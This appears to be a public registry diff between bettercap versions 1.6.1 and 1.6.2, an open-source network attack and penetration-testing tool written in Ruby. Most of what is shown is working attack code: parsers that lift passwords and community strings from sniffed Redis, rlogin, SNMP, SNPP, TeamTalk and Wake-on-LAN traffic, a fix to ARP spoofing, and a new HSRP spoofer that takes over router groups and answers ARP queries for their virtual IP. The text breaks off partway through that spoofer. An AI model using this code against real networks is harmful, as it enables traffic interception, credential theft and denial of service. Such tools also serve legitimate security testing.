bettercap 1.6.1 → 1.6.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- checksums.yaml +4 -4
- data/README.md +33 -34
- data/bin/bettercap +1 -1
- data/lib/bettercap/context.rb +1 -1
- data/lib/bettercap/discovery/agents/mdns.rb +61 -0
- data/lib/bettercap/discovery/agents/upnp.rb +60 -0
- data/lib/bettercap/discovery/agents/wsd.rb +75 -0
- data/lib/bettercap/firewalls/linux.rb +0 -4
- data/lib/bettercap/logger.rb +63 -34
- data/lib/bettercap/network/network.rb +1 -1
- data/lib/bettercap/options/core_options.rb +1 -1
- data/lib/bettercap/proxy/http/modules/redirect.rb +1 -1
- data/lib/bettercap/proxy/http/proxy.rb +1 -9
- data/lib/bettercap/proxy/http/sslstrip/strip.rb +5 -5
- data/lib/bettercap/sniffer/parsers/asterisk.rb +37 -0
- data/lib/bettercap/sniffer/parsers/bfd.rb +159 -0
- data/lib/bettercap/sniffer/parsers/dhcp.rb +23 -23
- data/lib/bettercap/sniffer/parsers/dict.rb +13 -11
- data/lib/bettercap/sniffer/parsers/hsrp.rb +262 -0
- data/lib/bettercap/sniffer/parsers/https.rb +17 -19
- data/lib/bettercap/sniffer/parsers/mpd.rb +12 -10
- data/lib/bettercap/sniffer/parsers/nntp.rb +5 -1
- data/lib/bettercap/sniffer/parsers/post.rb +8 -9
- data/lib/bettercap/sniffer/parsers/radius.rb +410 -0
- data/lib/bettercap/sniffer/parsers/redis.rb +15 -13
- data/lib/bettercap/sniffer/parsers/rlogin.rb +20 -19
- data/lib/bettercap/sniffer/parsers/snmp.rb +16 -17
- data/lib/bettercap/sniffer/parsers/snpp.rb +13 -11
- data/lib/bettercap/sniffer/parsers/teamtalk.rb +41 -0
- data/lib/bettercap/sniffer/parsers/teamviewer.rb +8 -8
- data/lib/bettercap/sniffer/parsers/url.rb +6 -6
- data/lib/bettercap/sniffer/parsers/whatsapp.rb +6 -7
- data/lib/bettercap/sniffer/parsers/wol.rb +68 -0
- data/lib/bettercap/spoofers/arp.rb +3 -3
- data/lib/bettercap/spoofers/hsrp.rb +351 -0
- data/lib/bettercap/spoofers/mac.rb +126 -0
- data/lib/bettercap/version.rb +1 -1
- metadata +13 -2
@@ -7,6 +7,10 @@ Author : Simone 'evilsocket' Margaritelli
|
|
7
7
|
Email : evilsocket@gmail.com
|
8
8
|
Blog : https://www.evilsocket.net/
|
9
9
|
|
10
|
+
Redis authentication parser:
|
11
|
+
Author : Brendan Coles
|
12
|
+
Email : bcoles[at]gmail.com
|
13
|
+
|
10
14
|
This project is released under the GPL 3 license.
|
11
15
|
|
12
16
|
=end
|
@@ -19,21 +23,19 @@ class Redis < Base
|
|
19
23
|
@name = 'REDIS'
|
20
24
|
end
|
21
25
|
def on_packet( pkt )
|
22
|
-
|
23
|
-
|
24
|
-
|
25
|
-
|
26
|
-
|
27
|
-
|
28
|
-
|
29
|
-
|
30
|
-
|
31
|
-
|
32
|
-
end
|
33
|
-
end
|
26
|
+
return unless pkt.tcp_dst == 6379
|
27
|
+
|
28
|
+
lines = pkt.to_s.split(/\r?\n/)
|
29
|
+
lines.each do |line|
|
30
|
+
if line =~ /config\s+set\s+requirepass\s+(.+)$/i
|
31
|
+
pass = "#{$1}"
|
32
|
+
StreamLogger.log_raw( pkt, @name, "password=#{pass}" )
|
33
|
+
elsif line =~ /AUTH\s+(.+)$/i
|
34
|
+
pass = "#{$1}"
|
35
|
+
StreamLogger.log_raw( pkt, @name, "password=#{pass}" )
|
34
36
|
end
|
35
|
-
rescue
|
36
37
|
end
|
38
|
+
rescue
|
37
39
|
end
|
38
40
|
end
|
39
41
|
end
|
@@ -7,6 +7,10 @@ Author : Simone 'evilsocket' Margaritelli
|
|
7
7
|
Email : evilsocket@gmail.com
|
8
8
|
Blog : https://www.evilsocket.net/
|
9
9
|
|
10
|
+
BSD rlogin authentication parser:
|
11
|
+
Author : Brendan Coles
|
12
|
+
Email : bcoles[at]gmail.com
|
13
|
+
|
10
14
|
This project is released under the GPL 3 license.
|
11
15
|
|
12
16
|
=end
|
@@ -19,27 +23,24 @@ class Rlogin < Base
|
|
19
23
|
@name = 'RLOGIN'
|
20
24
|
end
|
21
25
|
def on_packet( pkt )
|
22
|
-
|
23
|
-
|
24
|
-
# rlogin packet data = 0x00[client-username]0x00<server-username>0x00<terminal/speed>0x00
|
26
|
+
return unless pkt.tcp_dst == 513
|
27
|
+
# rlogin packet data = 0x00[client-username]0x00<server-username>0x00<terminal/speed>0x00
|
25
28
|
|
26
|
-
|
27
|
-
|
28
|
-
|
29
|
-
|
30
|
-
|
31
|
-
|
32
|
-
|
33
|
-
|
34
|
-
|
35
|
-
|
36
|
-
|
37
|
-
|
38
|
-
|
39
|
-
end
|
40
|
-
end
|
41
|
-
rescue
|
29
|
+
# if client username, server username and terminal/speed were supplied...
|
30
|
+
# regex starts at client username as the first null byte is stripped from pkt.payload.to_s
|
31
|
+
if pkt.payload.to_s =~ /\A([a-z0-9_-]+)\x00([a-z0-9_-]+)\x00([a-z0-9_-]+\/[0-9]+)\x00\Z/i
|
32
|
+
client_user = $1
|
33
|
+
server_user = $2
|
34
|
+
terminal = $3
|
35
|
+
StreamLogger.log_raw( pkt, @name, "client-username=#{client_user} server-username=#{server_user} terminal=#{terminal}" )
|
36
|
+
# else, if only server username and terminal/speed were supplied...
|
37
|
+
# regex starts at 0x00 as the first null byte is stripped from pkt.payload.to_s and the client username is empty
|
38
|
+
elsif pkt.payload.to_s =~ /\A\x00([a-z0-9_-]+)\x00([a-z0-9_-]+\/[0-9]+)\x00\Z/i
|
39
|
+
server_user = $1
|
40
|
+
terminal = $2
|
41
|
+
StreamLogger.log_raw( pkt, @name, "server-username=#{server_user} terminal=#{terminal}" )
|
42
42
|
end
|
43
|
+
rescue
|
43
44
|
end
|
44
45
|
end
|
45
46
|
end
|
@@ -22,23 +22,22 @@ module Parsers
|
|
22
22
|
# SNMP community string parser.
|
23
23
|
class SNMP < Base
|
24
24
|
def on_packet( pkt )
|
25
|
-
|
26
|
-
|
27
|
-
|
28
|
-
|
29
|
-
|
30
|
-
|
31
|
-
|
32
|
-
|
33
|
-
|
34
|
-
|
35
|
-
|
36
|
-
|
37
|
-
|
38
|
-
|
39
|
-
|
40
|
-
|
41
|
-
rescue; end
|
25
|
+
return unless pkt.udp_dst == 161
|
26
|
+
|
27
|
+
packet = Network::Protos::SNMP::Packet.parse( pkt.payload )
|
28
|
+
|
29
|
+
return if packet.nil?
|
30
|
+
|
31
|
+
if packet.snmp_version_number.to_i == 0
|
32
|
+
snmp_version = 'v1'
|
33
|
+
else
|
34
|
+
snmp_version = 'n/a'
|
35
|
+
end
|
36
|
+
|
37
|
+
msg = "[#{'Version:'.green} #{snmp_version}] [#{'Community:'.green} #{packet.snmp_community_string.map { |x| x.chr }.join.yellow}]"
|
38
|
+
|
39
|
+
StreamLogger.log_raw( pkt, 'SNMP', msg )
|
40
|
+
rescue
|
42
41
|
end
|
43
42
|
end
|
44
43
|
end
|
@@ -7,6 +7,10 @@ Author : Simone 'evilsocket' Margaritelli
|
|
7
7
|
Email : evilsocket@gmail.com
|
8
8
|
Blog : https://www.evilsocket.net/
|
9
9
|
|
10
|
+
Simple Network Paging Protocol (SNPP) authentication parser:
|
11
|
+
Author : Brendan Coles
|
12
|
+
Email : bcoles[at]gmail.com
|
13
|
+
|
10
14
|
This project is released under the GPL 3 license.
|
11
15
|
|
12
16
|
=end
|
@@ -19,19 +23,17 @@ class Snpp < Base
|
|
19
23
|
@name = 'SNPP'
|
20
24
|
end
|
21
25
|
def on_packet( pkt )
|
22
|
-
|
23
|
-
|
24
|
-
|
25
|
-
|
26
|
-
|
27
|
-
|
28
|
-
|
29
|
-
|
30
|
-
end
|
31
|
-
end
|
26
|
+
return unless pkt.tcp_dst == 444
|
27
|
+
|
28
|
+
lines = pkt.to_s.split(/\r?\n/)
|
29
|
+
lines.each do |line|
|
30
|
+
if line =~ /LOGIn\s+(.+)\s+(.+)$/
|
31
|
+
user = $1
|
32
|
+
pass = $2
|
33
|
+
StreamLogger.log_raw( pkt, @name, "username=#{user} password=#{pass}" )
|
32
34
|
end
|
33
|
-
rescue
|
34
35
|
end
|
36
|
+
rescue
|
35
37
|
end
|
36
38
|
end
|
37
39
|
end
|
@@ -0,0 +1,41 @@
|
|
1
|
+
=begin
|
2
|
+
|
3
|
+
BETTERCAP
|
4
|
+
|
5
|
+
Author : Simone 'evilsocket' Margaritelli
|
6
|
+
Email : evilsocket@gmail.com
|
7
|
+
Blog : https://www.evilsocket.net/
|
8
|
+
|
9
|
+
BearWare TeamTalk authentication parser:
|
10
|
+
Author : Brendan Coles
|
11
|
+
Email : bcoles[at]gmail.com
|
12
|
+
|
13
|
+
This project is released under the GPL 3 license.
|
14
|
+
|
15
|
+
=end
|
16
|
+
|
17
|
+
module BetterCap
|
18
|
+
module Parsers
|
19
|
+
# BearWare TeamTalk authentication parser.
|
20
|
+
class TeamTalk < Base
|
21
|
+
def initialize
|
22
|
+
@name = 'TeamTalk'
|
23
|
+
end
|
24
|
+
def on_packet( pkt )
|
25
|
+
return unless (pkt.tcp_dst == 10333 || pkt.udp_dst == 10333)
|
26
|
+
|
27
|
+
lines = pkt.to_s.split(/\r?\n/)
|
28
|
+
lines.each do |line|
|
29
|
+
next unless (line =~ /login\s+/ && line =~ /username=/ && line =~ /password=/)
|
30
|
+
|
31
|
+
version = line.scan(/version="?([\d\.]+)"?\s/).flatten.first
|
32
|
+
user = line.scan(/username="?(.*?)"?\s/).flatten.first
|
33
|
+
pass = line.scan(/password="?(.*?)"?\s/).flatten.first
|
34
|
+
|
35
|
+
StreamLogger.log_raw( pkt, @name, "#{'version'.blue}=#{version} username=#{user} password=#{pass}" )
|
36
|
+
end
|
37
|
+
rescue
|
38
|
+
end
|
39
|
+
end
|
40
|
+
end
|
41
|
+
end
|
@@ -16,14 +16,14 @@ module Parsers
|
|
16
16
|
# MySQL authentication parser.
|
17
17
|
class TeamViewer < Base
|
18
18
|
def on_packet( pkt )
|
19
|
-
|
20
|
-
|
21
|
-
|
22
|
-
|
23
|
-
|
24
|
-
|
25
|
-
|
26
|
-
|
19
|
+
return unless (pkt.tcp_dst == 5938 || pkt.tcp_src == 5938)
|
20
|
+
|
21
|
+
packet = Network::Protos::TeamViewer::Packet.parse( pkt.payload )
|
22
|
+
|
23
|
+
return if packet.nil?
|
24
|
+
|
25
|
+
StreamLogger.log_raw( pkt, 'TEAMVIEWER', "#{'version'.blue}=#{packet.version.yellow} #{'command'.blue}=#{packet.command.yellow}" )
|
26
|
+
rescue
|
27
27
|
end
|
28
28
|
end
|
29
29
|
end
|
@@ -17,12 +17,12 @@ module Parsers
|
|
17
17
|
class Url < Base
|
18
18
|
def on_packet( pkt )
|
19
19
|
s = pkt.to_s
|
20
|
-
|
21
|
-
|
22
|
-
|
23
|
-
|
24
|
-
|
25
|
-
|
20
|
+
return unless s =~ /GET\s+([^\s]+)\s+HTTP.+Host:\s+([^\s]+).+/m
|
21
|
+
|
22
|
+
host = $2
|
23
|
+
url = $1
|
24
|
+
unless url =~ /.+\.(png|jpg|jpeg|bmp|gif|img|ttf|woff|css|js).*/i
|
25
|
+
StreamLogger.log_raw( pkt, 'GET', "http://#{host}#{url}" )
|
26
26
|
end
|
27
27
|
end
|
28
28
|
end
|
@@ -20,13 +20,12 @@ module Parsers
|
|
20
20
|
# WhatsApp traffic parser.
|
21
21
|
class Whatsapp < Base
|
22
22
|
def on_packet( pkt )
|
23
|
-
|
24
|
-
|
25
|
-
|
26
|
-
|
27
|
-
|
28
|
-
|
29
|
-
rescue; end
|
23
|
+
if ( pkt.tcp_dst == 443 or pkt.tcp_dst == 5222 or pkt.tcp_dst == 5223 ) and pkt.payload =~ /^WA.*?([a-zA-Z\-\.0-9]+).*?([0-9]+)/
|
24
|
+
version = $1
|
25
|
+
phone = $2
|
26
|
+
StreamLogger.log_raw( pkt, 'WHATSAPP', "#{'phone'.green}=#{phone.yellow} #{'version'.green}=#{version.yellow}" )
|
27
|
+
end
|
28
|
+
rescue
|
30
29
|
end
|
31
30
|
end
|
32
31
|
end
|
@@ -0,0 +1,68 @@
|
|
1
|
+
# encoding: UTF-8
|
2
|
+
=begin
|
3
|
+
|
4
|
+
BETTERCAP
|
5
|
+
|
6
|
+
Author : Simone 'evilsocket' Margaritelli
|
7
|
+
Email : evilsocket@gmail.com
|
8
|
+
Blog : https://www.evilsocket.net/
|
9
|
+
|
10
|
+
Wake-on-LAN packet and authentication parser:
|
11
|
+
Author : Brendan Coles
|
12
|
+
Email : bcoles[at]gmail.com
|
13
|
+
|
14
|
+
This project is released under the GPL 3 license.
|
15
|
+
|
16
|
+
=end
|
17
|
+
|
18
|
+
module BetterCap
|
19
|
+
module Parsers
|
20
|
+
#
|
21
|
+
# Wake-on-LAN packet and authentication parser.
|
22
|
+
#
|
23
|
+
# Supports WOL on UDP ports 0, 7 and 9
|
24
|
+
# Does not support ether-wake which uses Ethertype 0x0842
|
25
|
+
#
|
26
|
+
# References:
|
27
|
+
# - https://en.wikipedia.org/wiki/Wake-on-LAN
|
28
|
+
# - https://wiki.wireshark.org/WakeOnLAN
|
29
|
+
#
|
30
|
+
class Wol < Base
|
31
|
+
def initialize
|
32
|
+
@name = 'WOL'
|
33
|
+
end
|
34
|
+
|
35
|
+
def on_packet( pkt )
|
36
|
+
return unless is_wol? pkt
|
37
|
+
|
38
|
+
# Split packet into chunks of 6 bytes each.
|
39
|
+
data = pkt.payload.to_s.unpack('H*').first.chars.each_slice(12).map(&:join)
|
40
|
+
|
41
|
+
# The Synchronization Stream field is 6 bytes of FF
|
42
|
+
# sync_stream = data[0]
|
43
|
+
|
44
|
+
# The Target MAC block contains the target's MAC address
|
45
|
+
# repeated 16 times (96 bytes)
|
46
|
+
return unless data[1..16].uniq.size == 1
|
47
|
+
|
48
|
+
# Format MAC address for output
|
49
|
+
mac = data[1].upcase.scan(/\w{2}/).join(':')
|
50
|
+
|
51
|
+
# The Password field is optional (0, 4 or 6 bytes).
|
52
|
+
password = data[17] || 'none'
|
53
|
+
|
54
|
+
StreamLogger.log_raw( pkt, @name, "#{'mac'.blue}=#{mac} #{'password'.blue}=#{password}" )
|
55
|
+
rescue
|
56
|
+
end
|
57
|
+
|
58
|
+
private
|
59
|
+
|
60
|
+
def is_wol?(pkt)
|
61
|
+
return ( pkt.eth2s(:dst) == 'FF:FF:FF:FF:FF:FF' && pkt.ip_daddr == '255.255.255.255' && \
|
62
|
+
pkt.respond_to?('udp_dst') && (pkt.udp_dst == 0 || pkt.udp_dst == 7 || pkt.udp_dst == 9) && \
|
63
|
+
(pkt.payload.size == 102 || pkt.payload.size == 106 || pkt.payload.size == 108) && \
|
64
|
+
pkt.payload.to_s.unpack('H*').first.start_with?('ffffffffffff') )
|
65
|
+
end
|
66
|
+
end
|
67
|
+
end
|
68
|
+
end
|
@@ -95,11 +95,11 @@ class Arp < Base
|
|
95
95
|
# restore its ARP cache instead.
|
96
96
|
def spoof( target, restore = false )
|
97
97
|
if restore
|
98
|
-
send_spoofed_packet( @ctx.gateway.ip, @ctx.gateway.mac, target.ip,
|
99
|
-
send_spoofed_packet( target.ip, target.mac, @ctx.gateway.ip,
|
98
|
+
send_spoofed_packet( @ctx.gateway.ip, @ctx.gateway.mac, target.ip, target.mac )
|
99
|
+
send_spoofed_packet( target.ip, target.mac, @ctx.gateway.ip, @ctx.gateway.mac ) unless @ctx.options.spoof.half_duplex
|
100
100
|
@ctx.targets.each do |e|
|
101
101
|
if e.spoofable? and e.ip != target.ip and e.ip != @ctx.gateway.ip
|
102
|
-
send_spoofed_packet( e.ip, e.mac, target.ip,
|
102
|
+
send_spoofed_packet( e.ip, e.mac, target.ip, target.mac )
|
103
103
|
end
|
104
104
|
end
|
105
105
|
else
|
@@ -0,0 +1,351 @@
|
|
1
|
+
# encoding: UTF-8
|
2
|
+
=begin
|
3
|
+
|
4
|
+
BETTERCAP
|
5
|
+
|
6
|
+
Author : Simone 'evilsocket' Margaritelli
|
7
|
+
Email : evilsocket@gmail.com
|
8
|
+
Blog : https://www.evilsocket.net/
|
9
|
+
|
10
|
+
Cisco Hot Standby Router Protocol (HSRP) spoofer:
|
11
|
+
Author : Brendan Coles
|
12
|
+
Email : bcoles[at]gmail.com
|
13
|
+
|
14
|
+
This project is released under the GPL 3 license.
|
15
|
+
|
16
|
+
=end
|
17
|
+
|
18
|
+
module BetterCap
|
19
|
+
module Spoofers
|
20
|
+
#
|
21
|
+
# This class is responsible for performing HSRP hijacking on the network.
|
22
|
+
#
|
23
|
+
# * Supports IPv4
|
24
|
+
# * Supports text authentication
|
25
|
+
# * Does not support IPv6
|
26
|
+
# * Does not support MD5 authentication
|
27
|
+
#
|
28
|
+
# This spoofer watches incoming HSRP message broadcasts
|
29
|
+
# looking for vulnerable HSRP groups using text authentication.
|
30
|
+
#
|
31
|
+
# If such a group is identified, the spoofer launches a coup against
|
32
|
+
# the active router, advising the group that the +ctx+ interface wishes
|
33
|
+
# to become the active router for the group's virtual IP address.
|
34
|
+
#
|
35
|
+
# The spoofer then proves the +ctx+ interface is the superior router
|
36
|
+
# by sending a 'Hello' packet with the highest possible priority,
|
37
|
+
# winning the election, and causing the the other routers participating
|
38
|
+
# in the group to stand down, falling back to StandBy or Listen modes.
|
39
|
+
#
|
40
|
+
# As a result, the group members will no longer reply to ARP queries
|
41
|
+
# for the group's virtual IP address.
|
42
|
+
#
|
43
|
+
# The 'Hello' packet is then re-broadcast periodically to ensure the
|
44
|
+
# group members comply with the new doctrine.
|
45
|
+
#
|
46
|
+
# A gratuitous ARP reply is broadcast, notifying the network of the
|
47
|
+
# new MAC address for the virtual IP address.
|
48
|
+
#
|
49
|
+
# The spoofer then adds the group's details to a list of controlled
|
50
|
+
# groups, and replies to any ARP queries for their associated virtual
|
51
|
+
# IP addresses.
|
52
|
+
#
|
53
|
+
# Upon termination of the spoofer, a 'Resign' packet is broadcast,
|
54
|
+
# at which time the group member in StandBy mode should resume the
|
55
|
+
# active role.
|
56
|
+
#
|
57
|
+
# Note: If the active router in the group already has the highest
|
58
|
+
# possible priority, the spoofer will wait until a lower
|
59
|
+
# priority router is elected as the active router.
|
60
|
+
#
|
61
|
+
# Note: If something goes wrong, the spoofer will likely cause a
|
62
|
+
# denial of service until a member of the group assumes the
|
63
|
+
# the role of active router, and the group's clients retrieve
|
64
|
+
# a fresh ARP lease for the virtual IP address.
|
65
|
+
#
|
66
|
+
# References:
|
67
|
+
# - https://www.ietf.org/rfc/rfc2281.txt
|
68
|
+
# - http://packetlife.net/blog/2008/oct/27/hijacking-hsrp/
|
69
|
+
#
|
70
|
+
class Hsrp < Base
|
71
|
+
# Initialize the BetterCap::Spoofers::HSRP object.
|
72
|
+
def initialize
|
73
|
+
@ctx = Context.get
|
74
|
+
@forwarding = @ctx.firewall.forwarding_enabled?
|
75
|
+
@spoof_thread = nil
|
76
|
+
@hsrp_thread = nil
|
77
|
+
@arp_thread = nil
|
78
|
+
@running = false
|
79
|
+
|
80
|
+
# HelloTime - Time (in seconds) between Hello messages
|
81
|
+
@hellotime = 3 # default
|
82
|
+
|
83
|
+
# HoldTime - Time (in seconds) for which the Hello message is valid
|
84
|
+
@holdtime = 255 # max
|
85
|
+
|
86
|
+
# Table of HSRP groups
|
87
|
+
@groups = []
|
88
|
+
|
89
|
+
update_gateway!
|
90
|
+
end
|
91
|
+
|
92
|
+
# Start the HSRP spoofing
|
93
|
+
def start
|
94
|
+
Logger.debug "Starting HSRP spoofer ..."
|
95
|
+
|
96
|
+
stop() if @running
|
97
|
+
@running = true
|
98
|
+
|
99
|
+
if @ctx.options.spoof.kill
|
100
|
+
Logger.warn 'Disabling packet forwarding.'
|
101
|
+
@ctx.firewall.enable_forwarding(false) if @forwarding
|
102
|
+
else
|
103
|
+
@ctx.firewall.enable_forwarding(true) unless @forwarding
|
104
|
+
end
|
105
|
+
|
106
|
+
@hsrp_thread = Thread.new { hsrp_watcher }
|
107
|
+
@arp_thread = Thread.new { arp_watcher }
|
108
|
+
@spoof_thread = Thread.new { hsrp_spoofer }
|
109
|
+
end
|
110
|
+
|
111
|
+
# Stop the HSRP spoofing and reset firewall state
|
112
|
+
def stop
|
113
|
+
raise 'HSRP spoofer is not running' unless @running
|
114
|
+
|
115
|
+
Logger.debug 'Stopping HSRP spoofer ...'
|
116
|
+
|
117
|
+
@running = false
|
118
|
+
begin
|
119
|
+
@spoof_thread.exit
|
120
|
+
rescue
|
121
|
+
end
|
122
|
+
|
123
|
+
# Send a few resign packets
|
124
|
+
@groups.each do |vip, group, password|
|
125
|
+
3.times do
|
126
|
+
send_resign vip, group, password
|
127
|
+
end
|
128
|
+
end
|
129
|
+
|
130
|
+
Logger.debug "Resetting packet forwarding to #{@forwarding} ..."
|
131
|
+
|
132
|
+
@ctx.firewall.enable_forwarding( @forwarding )
|
133
|
+
end
|
134
|
+
|
135
|
+
private
|
136
|
+
|
137
|
+
# Broadcast a HSRP Coup packet (OpCode 0x01)
|
138
|
+
def send_coup(vip, group, password)
|
139
|
+
Logger.debug "[#{'HSRP'.green}] Launching a coup in group '#{group}' for ownership of virtual IP #{vip.to_x} ..."
|
140
|
+
pkt = PacketFu::HSRPPacket.new
|
141
|
+
pkt.eth_saddr = @ctx.iface.mac
|
142
|
+
pkt.eth_daddr = '01:00:5e:00:00:02'
|
143
|
+
pkt.eth_proto = 0x0800
|
144
|
+
|
145
|
+
pkt.ip_saddr = @ctx.iface.ip
|
146
|
+
pkt.ip_daddr = '224.0.0.2'
|
147
|
+
pkt.ip_ttl = 1
|
148
|
+
pkt.ip_recalc
|
149
|
+
|
150
|
+
pkt.udp_src = 1985
|
151
|
+
pkt.udp_dst = 1985
|
152
|
+
|
153
|
+
pkt.hsrp_opcode = 1 # Coup
|
154
|
+
pkt.hsrp_priority = 255 # Highest priority
|
155
|
+
pkt.hsrp_state = 16 # Active
|
156
|
+
pkt.hsrp_hellotime = @hellotime
|
157
|
+
pkt.hsrp_holdtime = @holdtime
|
158
|
+
pkt.hsrp_group = group
|
159
|
+
pkt.hsrp_password = password
|
160
|
+
pkt.hsrp_vip = vip.to_s
|
161
|
+
|
162
|
+
pkt.udp_recalc
|
163
|
+
pkt.ip_recalc
|
164
|
+
@ctx.packets.push(pkt)
|
165
|
+
end
|
166
|
+
|
167
|
+
# Broadcast a HSRP Hello packet (OpCode 0x00)
|
168
|
+
def send_hello(vip, group, password)
|
169
|
+
pkt = PacketFu::HSRPPacket.new
|
170
|
+
pkt.eth_saddr = @ctx.iface.mac
|
171
|
+
pkt.eth_daddr = '01:00:5e:00:00:02'
|
172
|
+
pkt.eth_proto = 0x0800
|
173
|
+
|
174
|
+
pkt.ip_saddr = @ctx.iface.ip
|
175
|
+
pkt.ip_daddr = '224.0.0.2'
|
176
|
+
pkt.ip_ttl = 1
|
177
|
+
pkt.ip_recalc
|
178
|
+
|
179
|
+
pkt.udp_src = 1985
|
180
|
+
pkt.udp_dst = 1985
|
181
|
+
|
182
|
+
pkt.hsrp_opcode = 0 # Hello
|
183
|
+
pkt.hsrp_priority = 255 # Highest priority
|
184
|
+
pkt.hsrp_state = 16 # Active
|
185
|
+
pkt.hsrp_hellotime = @hellotime
|
186
|
+
pkt.hsrp_holdtime = @holdtime
|
187
|
+
pkt.hsrp_group = group
|
188
|
+
pkt.hsrp_password = password
|
189
|
+
pkt.hsrp_vip = vip.to_s
|
190
|
+
|
191
|
+
pkt.udp_recalc
|
192
|
+
pkt.ip_recalc
|
193
|
+
@ctx.packets.push(pkt)
|
194
|
+
end
|
195
|
+
|
196
|
+
# Broadcast a HSRP Resign packet (OpCode 0x02) with Listen state (0x02)
|
197
|
+
def send_resign(vip, group, password)
|
198
|
+
Logger.debug "[#{'HSRP'.green}] Resigning position as active router for group '#{group}' (VirtualIP=#{vip.to_x}) ..."
|
199
|
+
|
200
|
+
pkt = PacketFu::HSRPPacket.new
|
201
|
+
pkt.eth_saddr = @ctx.iface.mac
|
202
|
+
pkt.eth_daddr = '01:00:5e:00:00:02'
|
203
|
+
pkt.eth_proto = 0x0800
|
204
|
+
|
205
|
+
pkt.ip_saddr = @ctx.iface.ip
|
206
|
+
pkt.ip_daddr = '224.0.0.2'
|
207
|
+
pkt.ip_ttl = 1
|
208
|
+
pkt.ip_recalc
|
209
|
+
|
210
|
+
pkt.udp_src = 1985
|
211
|
+
pkt.udp_dst = 1985
|
212
|
+
|
213
|
+
pkt.hsrp_opcode = 2 # Resign
|
214
|
+
pkt.hsrp_priority = 255 # Highest priority
|
215
|
+
pkt.hsrp_state = 2 # Listen
|
216
|
+
pkt.hsrp_hellotime = @hellotime
|
217
|
+
pkt.hsrp_holdtime = @holdtime
|
218
|
+
pkt.hsrp_group = group
|
219
|
+
pkt.hsrp_password = password
|
220
|
+
pkt.hsrp_vip = vip.to_s
|
221
|
+
|
222
|
+
pkt.udp_recalc
|
223
|
+
pkt.ip_recalc
|
224
|
+
@ctx.packets.push(pkt)
|
225
|
+
end
|
226
|
+
|
227
|
+
private
|
228
|
+
|
229
|
+
# Main spoofer loop.
|
230
|
+
def hsrp_spoofer
|
231
|
+
while true
|
232
|
+
unless @groups.empty?
|
233
|
+
Logger.debug "[#{'HSRP'.green}] Sending HSRP 'Hello' broadcast to #{@groups.size} HSRP groups ..."
|
234
|
+
end
|
235
|
+
|
236
|
+
@groups.each do |vip, group, password|
|
237
|
+
send_hello vip, group, password
|
238
|
+
end
|
239
|
+
|
240
|
+
sleep @hellotime
|
241
|
+
end
|
242
|
+
end
|
243
|
+
|
244
|
+
# Watches for incoming HSRP messages with text authentication.
|
245
|
+
#
|
246
|
+
# If text authentication is identified, launches a coup
|
247
|
+
# against the active router in the HSRP group and claims the
|
248
|
+
# role of the active router.
|
249
|
+
def hsrp_watcher
|
250
|
+
Logger.debug 'HSRP watcher started ...'
|
251
|
+
|
252
|
+
sniff_packets('udp and port 1985') do |pkt|
|
253
|
+
# We're only interested in HSRP 'Hello' packets (OpCode 0x00) from other hosts
|
254
|
+
next unless (pkt.is_hsrp? && pkt.hsrp_opcode == 0 && pkt.ip_saddr.to_s != @ctx.iface.ip)
|
255
|
+
|
256
|
+
vip = pkt.hsrp_vip
|
257
|
+
group = pkt.hsrp_group
|
258
|
+
password = pkt.hsrp_password
|
259
|
+
|
260
|
+
# Ignore this message if we're already the active router for the group
|
261
|
+
next if @groups.include? [vip, group, password]
|
262
|
+
|
263
|
+
Logger.debug "[#{'HSRP'.green}] Received 'Hello' from #{pkt.ip_saddr.to_s} in group '#{group}' using text authentication (VirtualIP=#{vip.to_x} Group=#{group} Password=#{password})"
|
264
|
+
|
265
|
+
# Dump the packet for debugging purposes
|
266
|
+
#Logger.debug pkt.inspect
|
267
|
+
|
268
|
+
# Do not proceed if the active router has the highest possible priority
|
269
|
+
if pkt.hsrp_priority >= 255
|
270
|
+
Logger.debug "[#{'HSRP'.green}] Cannot overthrow #{pkt.ip_saddr.to_s} - priority 255 is too high. Ignoring ..."
|
271
|
+
next
|
272
|
+
end
|
273
|
+
|
274
|
+
# Let the user know the coup has begun
|
275
|
+
Logger.info "[#{'HSRP'.green}] #{"Claiming role as active router for group '#{group}' ...".yellow}"
|
276
|
+
|
277
|
+
# Overthrow the active router for the HSRP group
|
278
|
+
send_coup vip, group, password
|
279
|
+
|
280
|
+
# Broadcast a gratuitous ARP reply notifying the network
|
281
|
+
# of the new MAC address for the virtual IP address
|
282
|
+
Logger.info "[#{'ARP'.green}] #{"Broadcasting MAC #{@ctx.iface.mac} for virtual IP #{vip.to_x} ...".yellow}"
|
283
|
+
send_arp_reply vip.to_x, @ctx.iface.mac, vip.to_x, 'FF:FF:FF:FF:FF:FF'
|
284
|
+
|
285
|
+
# Add the HSRP group to the list of groups under our control
|
286
|
+
@groups << [vip, group, password]
|
287
|
+
end
|
288
|
+
end
|
289
|
+
|
290
|
+
# Watches for incoming ARP queries
|
291
|
+
#
|
292
|
+
# If the query is for a HSRP virtual IP address
|
293
|
+
# under our control, replies with +ctx+ interface.
|
294
|
+
def arp_watcher
|
295
|
+
Logger.debug 'HSRP ARP watcher started ...'
|
296
|
+
|
297
|
+
sniff_packets('arp') do |pkt|
|
298
|
+
# We're only interested in ARP queries from other hosts
|
299
|
+
next unless is_arp_query?(pkt)
|
300
|
+
|
301
|
+
saddr = pkt.arp_src_ip.to_s
|
302
|
+
daddr = pkt.arp_dst_ip.to_s
|
303
|
+
smac = pkt.arp_src_mac.to_s
|
304
|
+
|
305
|
+
Logger.info "[#{'ARP'.green}] #{saddr} is asking who #{daddr} is."
|
306
|
+
|
307
|
+
# The client wants to know who we are...
|
308
|
+
# Send an ARP reply telling the client our MAC
|
309
|
+
if pkt.arp_dst_ip.to_s == @ctx.iface.ip
|
310
|
+
send_arp_reply @ctx.iface.ip, @ctx.iface.mac, saddr, smac
|
311
|
+
next
|
312
|
+
end
|
313
|
+
|
314
|
+
# The client wants to know who someone else is...
|
315
|
+
@groups.each do |group|
|
316
|
+
# Are they looking for one of the virtual IP addresses we control?
|
317
|
+
if group.include? daddr
|
318
|
+
# Yes - Send an ARP reply claiming to be the owner of the virtual IP
|
319
|
+
send_arp_reply daddr, @ctx.iface.mac, saddr, smac
|
320
|
+
end
|
321
|
+
end
|
322
|
+
end
|
323
|
+
end
|
324
|
+
|
325
|
+
# Send an ARP reply to the target identified by the +daddr+ IP address
|
326
|
+
# and +dmac+ MAC address.
|
327
|
+
def send_arp_reply(saddr, smac, daddr, dmac)
|
328
|
+
pkt = PacketFu::ARPPacket.new
|
329
|
+
pkt.eth_saddr = smac
|
330
|
+
